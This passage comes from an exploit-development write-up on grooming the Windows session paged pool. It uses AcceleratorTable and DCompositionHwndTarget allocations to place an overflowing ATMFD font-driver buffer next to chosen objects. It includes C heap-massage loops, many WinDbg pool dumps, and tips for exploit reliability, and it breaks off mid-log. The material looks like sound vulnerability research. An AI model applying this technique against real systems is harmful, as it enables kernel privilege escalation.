Process: 49aad7b301bcdec2 - *fffff90144058700 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2 fffff901`44058710 fffff901`44058690 fffff901`44058790 *fffff90144058740 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2 - *fffff90144058780 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2 fffff901`44058790 fffff901`44058710 ffffd001`8cf85e70 *fffff901440587c0 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2 - (3) Fill the holes with with DCompositionHwndTarget's The code: for (INT i = 0; i < 500; i++) { MyCreateDCompositionHwndTarget(pHwnds[i], 0, DCOM_ARRAY_BASE + i * 4); } A summary of the allocations in the session paged pool: kd> !poolused 0x8 Usdm . Sorting by Session Tag NonPaged Paged Tag Allocs Used Allocs Used Usdm 0 0 503 32192 USERTAG_DCOMPHWNDTARGETINFO , Binary: win32k!CreateDCompositionHwndTa TOTAL 0 0 503 32192 A detailed view of the allocations: kd> !poolfind Usdm 0x4 Scanning large pool allocation table for Tag 'Usdm' (ffffe00008aff000 : ffffe00008b05000) Searching SessionPaged pool (fffff90140000000 : fffff9213fffffff) for Tag 'Usdm' *fffff9014073d370 size: 40 previous size: 370 (Allocated) Usdm *fffff90140791e20 size: 40 previous size: 370 (Allocated) Usdm *fffff90144049080 size: 40 previous size: 40 (Allocated) Usdm *fffff90144049100 size: 40 previous size: 40 (Allocated) Usdm *fffff90144049180 size: 40 previous size: 40 (Allocated) Usdm *fffff90144049200 size: 40 previous size: 40 (Allocated) Usdm *fffff90144049280 size: 40 previous size: 40 (Allocated) Usdm *fffff90144049300 size: 40 previous size: 40 (Allocated) Usdm *fffff90144049380 size: 40 previous size: 40 (Allocated) Usdm *fffff90144049400 size: 40 previous size: 40 (Allocated) Usdm *fffff90144049480 size: 40 previous size: 40 (Allocated) Usdm *fffff90144049500 size: 40 previous size: 40 (Allocated) Usdm *fffff90144049580 size: 40 previous size: 40 (Allocated) Usdm *fffff9014404a000 size: 40 previous size: 0 (Allocated) Usdm *fffff9014404a080 size: 40 previous size: 40 (Allocated) Usdm *fffff9014404a100 size: 40 previous size: 40 (Allocated) Usdm *fffff9014404a180 size: 40 previous size: 40 (Allocated) Usdm *fffff9014404a200 size: 40 previous size: 40 (Allocated) Usdm . . . See the complete log here. We can easily observe a correlation between the freed Accelerator Tables and the allocated DCompositionHwndTarget: Allocated DCompositionHwndTarget Freed AcceleratorTable *fffff90144049080 size:   40 previous size:   40  (Allocated) Usdm fffff901`44049090  fffff901`4404a010 fffff901`44049110 *fffff90144049100 size:   40 previous size:   40  (Allocated) Usdm fffff901`44049110  fffff901`44049090 fffff901`44049190 *fffff90144049180 size:   40 previous size:   40  (Allocated) Usdm fffff901`44049190  fffff901`44049110 fffff901`44049210 *fffff90144049200 size:   40 previous size:   40  (Allocated) Usdm fffff901`44049210  fffff901`44049190 fffff901`44049290 *fffff90144049280 size:   40 previous size:   40  (Allocated) Usdm fffff901`44049290  fffff901`44049210 fffff901`44049310 *fffff90144049300 size:   40 previous size:   40  (Allocated) Usdm fffff901`44049310  fffff901`44049290 fffff901`44049390 Indeed the corresponding ListHead has been emptied: kd> dl ffffd001`8cf85e70 200 2 ffffd001`8cf85e70 fffff901`440600b0 fffff901`441220d0 fffff901`440600b0 fffff901`440601c0 ffffd001`8cf85e70 fffff901`440601c0 fffff901`440708f0 fffff901`440600b0 fffff901`440708f0 fffff901`440728f0 fffff901`440601c0 fffff901`440728f0 fffff901`440968f0 fffff901`440708f0 fffff901`440968f0 fffff901`440bc750 fffff901`440728f0 fffff901`440bc750 fffff901`440f30d0 fffff901`440968f0 fffff901`440f30d0 fffff901`4401a9e0 fffff901`440bc750 fffff901`4401a9e0 fffff901`440f7b10 fffff901`440f30d0 fffff901`440f7b10 fffff901`440f9570 fffff901`4401a9e0 fffff901`440f9570 fffff901`440f10b0 fffff901`440f7b10 fffff901`440f10b0 fffff901`440f7770 fffff901`440f9570 fffff901`440f7770 fffff901`441090d0 fffff901`440f10b0 fffff901`441090d0 fffff901`4410e0d0 fffff901`440f7770 fffff901`4410e0d0 fffff901`441130d0 fffff901`441090d0 fffff901`441130d0 fffff901`441150d0 fffff901`4410e0d0 fffff901`441150d0 fffff901`441170d0 fffff901`441130d0 fffff901`441170d0 fffff901`441180d0 fffff901`441150d0 fffff901`441180d0 fffff901`441190d0 fffff901`441170d0 fffff901`441190d0 fffff901`4411a0d0 fffff901`441180d0 fffff901`4411a0d0 fffff901`4411b0d0 fffff901`441190d0 fffff901`4411b0d0 fffff901`4411c0d0 fffff901`4411a0d0 fffff901`4411c0d0 fffff901`4411d0d0 fffff901`4411b0d0 fffff901`4411d0d0 fffff901`4411e0d0 fffff901`4411c0d0 fffff901`4411e0d0 fffff901`4411f0d0 fffff901`4411d0d0 fffff901`4411f0d0 fffff901`441200d0 fffff901`4411e0d0 fffff901`441200d0 fffff901`441210d0 fffff901`4411f0d0 fffff901`441210d0 fffff901`441220d0 fffff901`441200d0 fffff901`441220d0 ffffd001`8cf85e70 fffff901`441210d0 (4) Create "adjacent" holes (to the previous holes) in the series of accelerator tables. The code: for (INT i = 3601; i < 4601; i += 2) { DestroyAcceleratorTable(pAccels[i]); } The ListHead after the deletion of the AcceleratorTable's kd> dl ffffd001`8cf85e70 200 2 ffffd001`8cf85e70 fffff901`44058950 fffff901`44116e90 fffff901`44058950 fffff901`440588d0 ffffd001`8cf85e70 fffff901`440588d0 fffff901`44058850 fffff901`44058950 fffff901`44058850 fffff901`440587d0 fffff901`440588d0 fffff901`440587d0 fffff901`44058750 fffff901`44058850 fffff901`44058750 fffff901`440586d0 fffff901`440587d0 fffff901`440586d0 fffff901`44058650 fffff901`44058750 fffff901`44058650 fffff901`440585d0 fffff901`440586d0 fffff901`440585d0 fffff901`44058550 fffff901`44058650 fffff901`44058550 fffff901`440584d0 fffff901`440585d0 fffff901`440584d0 fffff901`44058450 fffff901`44058550 fffff901`44058450 fffff901`440583d0 fffff901`440584d0 fffff901`440583d0 fffff901`44058350 fffff901`44058450 fffff901`44058350 fffff901`440582d0 fffff901`440583d0 fffff901`440582d0 fffff901`44058250 fffff901`44058350 fffff901`44058250 fffff901`440581d0 fffff901`440582d0 fffff901`440581d0 fffff901`44058150 fffff901`44058250 fffff901`44058150 fffff901`440580d0 fffff901`440581d0 fffff901`440580d0 fffff901`44058050 fffff901`44058150 fffff901`44058050 fffff901`44059fd0 fffff901`440580d0 fffff901`44059fd0 fffff901`44059f50 fffff901`44058050 fffff901`44059f50 fffff901`44059ed0 fffff901`44059fd0 The (mostly) complete log here. Again, we can easily find a correlation between the freed chunks and the initial allocation of Accelerator Tables: AcceleratorTable allocation Freed Chunk fffff90144058940 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2 fffff901`44058950  fffff901`440588d0 ffffd001`8cf85e70 fffff901440589c0 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2 fffff901`440588d0  fffff901`44058850 fffff901`44058950 fffff90144058a40 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2 fffff901`44058850  fffff901`440587d0 fffff901`440588d0 fffff90144058ac0 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2 fffff901`440587d0  fffff901`44058750 fffff901`44058850 (5) Fill the holes with with DCompositionHwndTarget(s). The code: for (INT i = 500; i < 1000; i++) { MyCreateDCompositionHwndTarget(pHwnds[i], 0, DCOM_ARRAY_BASE + i * 4); } The list of the DCompositionHwndTarget allocations: kd> !poolfind Usdm 0x4 Scanning large pool allocation table for Tag 'Usdm' (ffffe00008aff000 : ffffe00008b05000) Searching SessionPaged pool (fffff90140000000 : fffff9213fffffff) for Tag 'Usdm' *fffff9014065c9f0 size: 40 previous size: 9f0 (Allocated) Usdm *fffff90140668940 size: 40 previous size: 670 (Allocated) Usdm *fffff9014073d370 size: 40 previous size: 370 (Allocated) Usdm *fffff9014078b1c0 size: 40 previous size: 1c0 (Allocated) Usdm *fffff90140791e20 size: 40 previous size: 370 (Allocated) Usdm *fffff90144049080 size: 40 previous size: 40 (Allocated) Usdm *fffff90144049100 size: 40 previous size: 40 (Allocated) Usdm *fffff90144049180 size: 40 previous size: 40 (Allocated) Usdm *fffff901440491c0 size: 40 previous size: 40 (Allocated) Usdm *fffff90144049200 size: 40 previous size: 40 (Allocated) Usdm *fffff90144049240 size: 40 previous size: 40 (Allocated) Usdm *fffff90144049280 size: 40 previous size: 40 (Allocated) Usdm *fffff901440492c0 size: 40 previous size: 40 (Allocated) Usdm *fffff90144049300 size: 40 previous size: 40 (Allocated) Usdm *fffff90144049340 size: 40 previous size: 40 (Allocated) Usdm *fffff90144049380 size: 40 previous size: 40 (Allocated) Usdm *fffff901440493c0 size: 40 previous size: 40 (Allocated) Usdm *fffff90144049400 size: 40 previous size: 40 (Allocated) Usdm *fffff90144049440 size: 40 previous size: 40 (Allocated) Usdm . . . The full log here. We can easily verify at this point that we have a contiguous series of DCompositionHwndTarget objects: DCompositionHwndTarget already allocated DCompositionHwndTarget allocated here *fffff90144049200 size:   40 previous size:   40  (Allocated) Usdm *fffff90144049240 size:   40 previous size:   40  (Allocated) Usdm *fffff90144049280 size:   40 previous size:   40  (Allocated) Usdm *fffff901440492c0 size:   40 previous size:   40  (Allocated) Usdm *fffff90144049300 size:   40 previous size:   40  (Allocated) Usdm *fffff90144049340 size:   40 previous size:   40  (Allocated) Usdm *fffff90144049380 size:   40 previous size:   40  (Allocated) Usdm *fffff901440493c0 size:   40 previous size:   40  (Allocated) Usdm Notice that, at this moment, a **contiguous series of DCompositionHwndTargets** have been built in memory. The ListHead has been "emptied" again after the allocations: kd> dl ffffd001`8cf85e70 200 2 ffffd001`8cf85e70 fffff901`440728f0 fffff901`441fc0d0 fffff901`440728f0 fffff901`440968f0 ffffd001`8cf85e70 fffff901`440968f0 fffff901`440bc750 fffff901`440728f0 fffff901`440bc750 fffff901`440f30d0 fffff901`440968f0 fffff901`440f30d0 fffff901`4401a9e0 fffff901`440bc750 fffff901`4401a9e0 fffff901`440f7b10 fffff901`440f30d0 fffff901`440f7b10 fffff901`440f9570 fffff901`4401a9e0 fffff901`440f9570 fffff901`440f10b0 fffff901`440f7b10 fffff901`440f10b0 fffff901`440f7770 fffff901`440f9570 fffff901`440f7770 fffff901`441090d0 fffff901`440f10b0 fffff901`441090d0 fffff901`4410e0d0 fffff901`440f7770 fffff901`4410e0d0 fffff901`441130d0 fffff901`441090d0 fffff901`441130d0 fffff901`441150d0 fffff901`4410e0d0 fffff901`441150d0 fffff901`441170d0 fffff901`441130d0 fffff901`441170d0 fffff901`441180d0 fffff901`441150d0 fffff901`441180d0 fffff901`441190d0 fffff901`441170d0 fffff901`441190d0 fffff901`4411a0d0 fffff901`441180d0 fffff901`4411a0d0 fffff901`4411b0d0 fffff901`441190d0 fffff901`4411b0d0 fffff901`4411c0d0 fffff901`4411a0d0 fffff901`4411c0d0 fffff901`4411d0d0 fffff901`4411b0d0 fffff901`4411d0d0 fffff901`4411e0d0 fffff901`4411c0d0 fffff901`4411e0d0 fffff901`4411f0d0 fffff901`4411d0d0 fffff901`4411f0d0 fffff901`441200d0 fffff901`4411e0d0 fffff901`441200d0 fffff901`441210d0 fffff901`4411f0d0 fffff901`441210d0 fffff901`44116e90 fffff901`441200d0 fffff901`44116e90 fffff901`44193fd0 fffff901`441210d0 fffff901`44193fd0 fffff901`407cf8e0 fffff901`44116e90 fffff901`407cf8e0 fffff901`407a94d0 fffff901`44193fd0 fffff901`407a94d0 fffff901`44101090 fffff901`407cf8e0 fffff901`44101090 fffff901`407fe4a0 fffff901`407a94d0 fffff901`407fe4a0 fffff901`422550b0 fffff901`44101090 fffff901`422550b0 fffff901`42255210 fffff901`407fe4a0 fffff901`42255210 fffff901`407fa2b0 fffff901`422550b0 fffff901`407fa2b0 fffff901`441ec0d0 fffff901`42255210 fffff901`441ec0d0 fffff901`441ee0d0 fffff901`407fa2b0 fffff901`441ee0d0 fffff901`441ed0d0 fffff901`441ec0d0 fffff901`441ed0d0 fffff901`441ef0d0 fffff901`441ee0d0 fffff901`441ef0d0 fffff901`441f00d0 fffff901`441ed0d0 fffff901`441f00d0 fffff901`441f10d0 fffff901`441ef0d0 fffff901`441f10d0 fffff901`441f20d0 fffff901`441f00d0 fffff901`441f20d0 fffff901`441f30d0 fffff901`441f10d0 fffff901`441f30d0 fffff901`441f40d0 fffff901`441f20d0 fffff901`441f40d0 fffff901`441f50d0 fffff901`441f30d0 fffff901`441f50d0 fffff901`441f60d0 fffff901`441f40d0 fffff901`441f60d0 fffff901`441f70d0 fffff901`441f50d0 fffff901`441f70d0 fffff901`441f80d0 fffff901`441f60d0 fffff901`441f80d0 fffff901`441f90d0 fffff901`441f70d0 fffff901`441f90d0 fffff901`441fa0d0 fffff901`441f80d0 fffff901`441fa0d0 fffff901`441fb0d0 fffff901`441f90d0 fffff901`441fb0d0 fffff901`441fc0d0 fffff901`441fa0d0 fffff901`441fc0d0 ffffd001`8cf85e70 fffff901`441fb0d0 (6) Create some holes in the contiguous series of DCompositionHwndTarget objects The code: for (INT i = 400; i < 405; i++) { MyDestroyDCompositionHwndTarget(pHwnds[i], 0); } The ListHead after the freeing: kd> dl ffffd001`8cf85e70 200 2 ffffd001`8cf85e70 fffff901`4404dc90 fffff901`407cb0b0 fffff901`4404dc90 fffff901`4404dc10 ffffd001`8cf85e70 fffff901`4404dc10 fffff901`4404db90 fffff901`4404dc90 fffff901`4404db90 fffff901`440968f0 fffff901`4404dc10 fffff901`440968f0 fffff901`440bc750 fffff901`4404db90 fffff901`440bc750 fffff901`4401a9e0 fffff901`440968f0 fffff901`4401a9e0 fffff901`440f7b10 fffff901`440bc750 fffff901`440f7b10 fffff901`440f9570 fffff901`4401a9e0 fffff901`440f9570 fffff901`440f10b0 fffff901`440f7b10 fffff901`440f10b0 fffff901`440f7770 fffff901`440f9570 fffff901`440f7770 fffff901`441090d0 fffff901`440f10b0 fffff901`441090d0 fffff901`4410e0d0 fffff901`440f7770 fffff901`4410e0d0 fffff901`441130d0 fffff901`441090d0 fffff901`441130d0 fffff901`441150d0 fffff901`4410e0d0 fffff901`441150d0 fffff901`441170d0 fffff901`441130d0 fffff901`441170d0 fffff901`441180d0 fffff901`441150d0 fffff901`441180d0 fffff901`441190d0 fffff901`441170d0 fffff901`441190d0 fffff901`4411a0d0 fffff901`441180d0 fffff901`4411a0d0 fffff901`4411b0d0 fffff901`441190d0 fffff901`4411b0d0 fffff901`4411c0d0 fffff901`4411a0d0 fffff901`4411c0d0 fffff901`4411d0d0 fffff901`4411b0d0 fffff901`4411d0d0 fffff901`4411e0d0 fffff901`4411c0d0 fffff901`4411e0d0 fffff901`4411f0d0 fffff901`4411d0d0 fffff901`4411f0d0 fffff901`441200d0 fffff901`4411e0d0 fffff901`441200d0 fffff901`441210d0 fffff901`4411f0d0 fffff901`441210d0 fffff901`44116e90 fffff901`441200d0 fffff901`44116e90 fffff901`44193fd0 fffff901`441210d0 fffff901`44193fd0 fffff901`407cf8e0 fffff901`44116e90 fffff901`407cf8e0 fffff901`407a94d0 fffff901`44193fd0 fffff901`407a94d0 fffff901`44101090 fffff901`407cf8e0 fffff901`44101090 fffff901`407fe4a0 fffff901`407a94d0 fffff901`407fe4a0 fffff901`422550b0 fffff901`44101090 fffff901`422550b0 fffff901`42255210 fffff901`407fe4a0 fffff901`42255210 fffff901`407fa2b0 fffff901`422550b0 fffff901`407fa2b0 fffff901`441ec0d0 fffff901`42255210 fffff901`441ec0d0 fffff901`441ee0d0 fffff901`407fa2b0 fffff901`441ee0d0 fffff901`441ed0d0 fffff901`441ec0d0 fffff901`441ed0d0 fffff901`441ef0d0 fffff901`441ee0d0 fffff901`441ef0d0 fffff901`441f00d0 fffff901`441ed0d0 fffff901`441f00d0 fffff901`441f10d0 fffff901`441ef0d0 fffff901`441f10d0 fffff901`441f20d0 fffff901`441f00d0 fffff901`441f20d0 fffff901`441f30d0 fffff901`441f10d0 fffff901`441f30d0 fffff901`441f40d0 fffff901`441f20d0 fffff901`441f40d0 fffff901`441f50d0 fffff901`441f30d0 fffff901`441f50d0 fffff901`441f60d0 fffff901`441f40d0 fffff901`441f60d0 fffff901`441f70d0 fffff901`441f50d0 fffff901`441f70d0 fffff901`441f80d0 fffff901`441f60d0 fffff901`441f80d0 fffff901`441f90d0 fffff901`441f70d0 fffff901`441f90d0 fffff901`441fa0d0 fffff901`441f80d0 fffff901`441fa0d0 fffff901`441fb0d0 fffff901`441f90d0 fffff901`441fb0d0 fffff901`441fc0d0 fffff901`441fa0d0 fffff901`441fc0d0 fffff901`440610b0 fffff901`441fb0d0 fffff901`440610b0 fffff901`441dc390 fffff901`441fc0d0 fffff901`441dc390 fffff901`407cb0b0 fffff901`440610b0 fffff901`407cb0b0 ffffd001`8cf85e70 fffff901`441dc390 The new entries in the ListHead, belonging to freed DCompositionHwndTarget(s): fffff901`4404dc90 fffff901`4404dc10 ffffd001`8cf85e70 fffff901`4404dc10 fffff901`4404db90 fffff901`4404dc90 fffff901`4404db90 fffff901`440968f0 fffff901`4404dc10 (7) Insert the vulnerable object into one of the holes above Let's review the pool at the overflowing memcpy. In the next log, r9 points to the destination buffer. According to our analysis, is one of the chunks belonging to AcceleratorTable's freed on (4). kd> g Breakpoint 0 hit ATMFD+0x11e58: fffff960`00a58e58 488b4c2470 mov rcx,qword ptr [rsp+70h] kd> !pool r9 Pool page fffff90144049178 region is Unknown fffff90144049000 size: 40 previous size: 0 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049040 size: 40 previous size: 40 (Allocated) DCtt Process: 49aad7b3024b1ec2 fffff90144049080 size: 40 previous size: 40 (Allocated) Usdm fffff901440490c0 size: 40 previous size: 40 (Allocated) DCtt Process: 49aad7b3024b1ec2 fffff90144049100 size: 40 previous size: 40 (Allocated) Usdm *fffff90144049140 size: 40 previous size: 40 (Allocated) *Adbe Pooltag Adbe : Adobe's font driver fffff90144049180 size: 40 previous size: 40 (Allocated) Usdm fffff901440491c0 size: 40 previous size: 40 (Allocated) Usdm fffff90144049200 size: 40 previous size: 40 (Allocated) Usdm fffff90144049240 size: 40 previous size: 40 (Allocated) Usdm fffff90144049280 size: 40 previous size: 40 (Allocated) Usdm fffff901440492c0 size: 40 previous size: 40 (Allocated) Usdm fffff90144049300 size: 40 previous size: 40 (Allocated) Usdm fffff90144049340 size: 40 previous size: 40 (Allocated) Usdm fffff90144049380 size: 40 previous size: 40 (Allocated) Usdm fffff901440493c0 size: 40 previous size: 40 (Allocated) Usdm fffff90144049400 size: 40 previous size: 40 (Allocated) Usdm fffff90144049440 size: 40 previous size: 40 (Allocated) Usdm fffff90144049480 size: 40 previous size: 40 (Allocated) Usdm fffff901440494c0 size: 40 previous size: 40 (Allocated) DCtt Process: 49aad7b3024b1ec2 fffff90144049500 size: 40 previous size: 40 (Allocated) Usdm fffff90144049540 size: 40 previous size: 40 (Allocated) Usdm fffff90144049580 size: 40 previous size: 40 (Allocated) Usdm fffff901440495c0 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049600 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049640 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049680 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff901440496c0 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049700 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049740 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049780 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff901440497c0 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049800 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049840 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049880 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff901440498c0 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049900 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049940 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049980 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff901440499c0 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049a00 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049a40 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049a80 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049ac0 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049b00 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049b40 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049b80 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049bc0 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049c00 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049c40 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049c80 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049cc0 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049d00 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049d40 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049d80 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049dc0 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049e00 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049e40 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049e80 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049ec0 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049f00 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049f40 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049f80 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 fffff90144049fc0 size: 40 previous size: 40 (Allocated) Usac Process: 49aad7b301bcdec2 Until here, a debugging session of the session paged pool massage. Now time for some questions and answers! Questions and Answers Is step (6) necessary? In the example, the vulnerable object doesn't use one of the holes in (6), but from (4). From the reviewed debugging session, it looks like (6) could be removed. Indeed without (6) the exploit will still work ... sometimes. But the following conditions apply: Some of the freed chunks at (4) aren't consumed by (5) or other session paged pool allocations. The adjacent chunk is reused by a DCompositionHwndTarget at (3). Forcing some extra holes in (6) helps a lot to improve reliability of the exploit. Especially when you fire the exploit several times (according to our testings). So, yes, it is definitely a good idea to make these extra holes. Why are AcceleratorTable(s) freed two times? And holes filled with DCompositionHwndTarget(s) two times? When building a set of adjacent DCompositionHwndTarget(s), it seems like we could merge the following code: // Create holes in the series of accelerator tables. for (INT i = 3600; i < 4600; i += 2) { DestroyAcceleratorTable(pAccels[i]); } // Fill the holes with with DCompositionHwndTarget(s). // (at this point we have a series of alternating DCompositionHwndTarget objects) for (INT i = 0; i < 500; i++) { MyCreateDCompositionHwndTarget(pHwnds[i], 0, DCOM_ARRAY_BASE + i * 4); } // Create "adjacent" holes (to the previous holes) in the series of // accelerator tables. for (INT i = 3601; i < 4601; i += 2) { DestroyAcceleratorTable(pAccels[i]); } // Fill the holes with with DCompositionHwndTarget(s). // (at this point we have a contiguous series of DCompositionHwndTarget objects) for (INT i = 500; i < 1000; i++) { MyCreateDCompositionHwndTarget(pHwnds[i], 0, DCOM_ARRAY_BASE + i * 4); } into: // Create holes in the series of accelerator tables. for (INT i = 3600; i < 4600; i += 1) { DestroyAcceleratorTable(pAccels[i]); } // Fill the holes with with DCompositionHwndTarget(s). // (at this point we have a series of alternating DCompositionHwndTarget objects) for (INT i = 0; i < 1000; i++) { MyCreateDCompositionHwndTarget(pHwnds[i], 0, DCOM_ARRAY_BASE + i * 4); } Unfortunately, this will not work, since adjacent chunks will be merged at free time. If you proceed with the second technique, the desired ListHead will be mostly empty after the loop destroying accelerator tables: kd> dl ffffd000`c6a44e70 200 2 ffffd000`c6a44e70 fffff901`425c2010 fffff901`4422a0b0 fffff901`425c2010 fffff901`425c81a0 ffffd000`c6a44e70 fffff901`425c81a0 fffff901`425c93c0 fffff901`425c2010 fffff901`425c93c0 fffff901`424e8a80 fffff901`425c81a0 fffff901`424e8a80 fffff901`422dc410 fffff901`425c93c0 fffff901`422dc410 fffff901`424140b0 fffff901`424e8a80 fffff901`424140b0 fffff901`4422a0b0 fffff901`422dc410 fffff901`4422a0b0 ffffd000`c6a44e70 fffff901`424140b0 If the goal is to get a set of adjacent DCompositionHwndTarget(s), making holes, are AcceleratorTable(s) really needed? Why not just allocate a set of DCompositionHwndTarget(s) and then make holes? For example, code like this: // Create window handles, and store them. pHwnds = (HWND *)VirtualAlloc((LPVOID)(HWND_ARRAY_BASE), sizeof(HWND)* 1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); hThisInstance = GetModuleHandleA(NULL); for (INT i = 0; i < 1000; i++) { SecureZeroMemory(&windowClass, sizeof(WNDCLASSEXA)); wsprintfA(winClass, winClassFmt, i); wsprintfA(winTitle, winTitleFmt, i); int winTitleWSize = MultiByteToWideChar(CP_UTF8, 0, winTitle, -1, NULL, 0); LPWSTR winTitleW = (LPWSTR)malloc(winTitleWSize * 2); memset(winTitleW, 0, winTitleWSize * 2); MultiByteToWideChar(CP_UTF8, 0, winTitle, -1, winTitleW, winTitleWSize); windowClass.cbSize = sizeof(WNDCLASSEXA); windowClass.style = CS_HREDRAW | CS_VREDRAW; windowClass.lpfnWndProc = (WNDPROC)WndProc; windowClass.hInstance = hThisInstance; windowClass.hIcon = NULL; windowClass.hCursor = NULL; windowClass.hbrBackground = (HBRUSH)COLOR_WINDOW; windowClass.lpszMenuName = NULL; windowClass.lpszClassName = winClass; classAtom = RegisterClassExA(&windowClass); hWnd = CreateWindowEx(0, MAKEINTATOM(classAtom), winTitleW, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hThisInstance, NULL); if (hWnd) { pHwnds[i] = hWnd; } else { break; } } // Create DCompositionHwndTarget(s). for (INT i = 0; i < 1000; i++) { MyCreateDCompositionHwndTarget(pHwnds[i], 0, DCOM_ARRAY_BASE + i * 4); } // Create some holes in the contiguous series of DCompositionHwndTarget objects, for (INT i = 400; i < 420; i+=2) { MyDestroyDCompositionHwndTarget(pHwnds[i], 0); } If you run the above code and look at the DCompositionHwndTarget allocations, you will notice that even after defragmentation, there are not any adjacent allocations: *fffff901423bd7c0 size: 40 previous size: c0 (Allocated) Usdm *fffff901423bd8c0 size: 40 previous size: c0 (Allocated) Usdm *fffff901423bd9c0 size: 40 previous size: c0 (Allocated) Usdm *fffff901423bdac0 size: 40 previous size: c0 (Allocated) Usdm *fffff901423bdbc0 size: 40 previous size: c0 (Allocated) Usdm *fffff901423bdcc0 size: 40 previous size: c0 (Allocated) Usdm See the full log here. This is because, on newly allocated pages, every call of to "CreateDComopositionHwndTarget" will allocate a 0x40 sized chunk to store the CHwndTargetProp, but will also allocate a 0xc0 sized chunk to store a DirectComposition::CVisualMarshaler object. There will not be two adjacent CHwndTargetProp(s): kd> !pool fffff901423bd8c0 Pool page fffff901423bd8c0 region is Unknown fffff901423bd000 size: c0 previous size: 0 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bd0c0 size: 40 previous size: c0 (Allocated) Usdm fffff901423bd100 size: c0 previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bd1c0 size: 40 previous size: c0 (Allocated) Usdm fffff901423bd200 size: c0 previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bd2c0 size: 40 previous size: c0 (Allocated) Usdm fffff901423bd300 size: c0 previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bd3c0 size: 40 previous size: c0 (Allocated) Usdm fffff901423bd400 size: c0 previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bd4c0 size: 40 previous size: c0 (Allocated) Usdm fffff901423bd500 size: c0 previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bd5c0 size: 40 previous size: c0 (Allocated) Usdm fffff901423bd600 size: c0 previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bd6c0 size: 40 previous size: c0 (Allocated) Usdm fffff901423bd700 size: c0 previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bd7c0 size: 40 previous size: c0 (Allocated) Usdm fffff901423bd800 size: c0 previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 *fffff901423bd8c0 size: 40 previous size: c0 (Allocated) *Usdm Pooltag Usdm : USERTAG_DCOMPHWNDTARGETINFO, Binary : win32k!CreateDCompositionHwndTa fffff901423bd900 size: c0 previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bd9c0 size: 40 previous size: c0 (Allocated) Usdm fffff901423bda00 size: c0 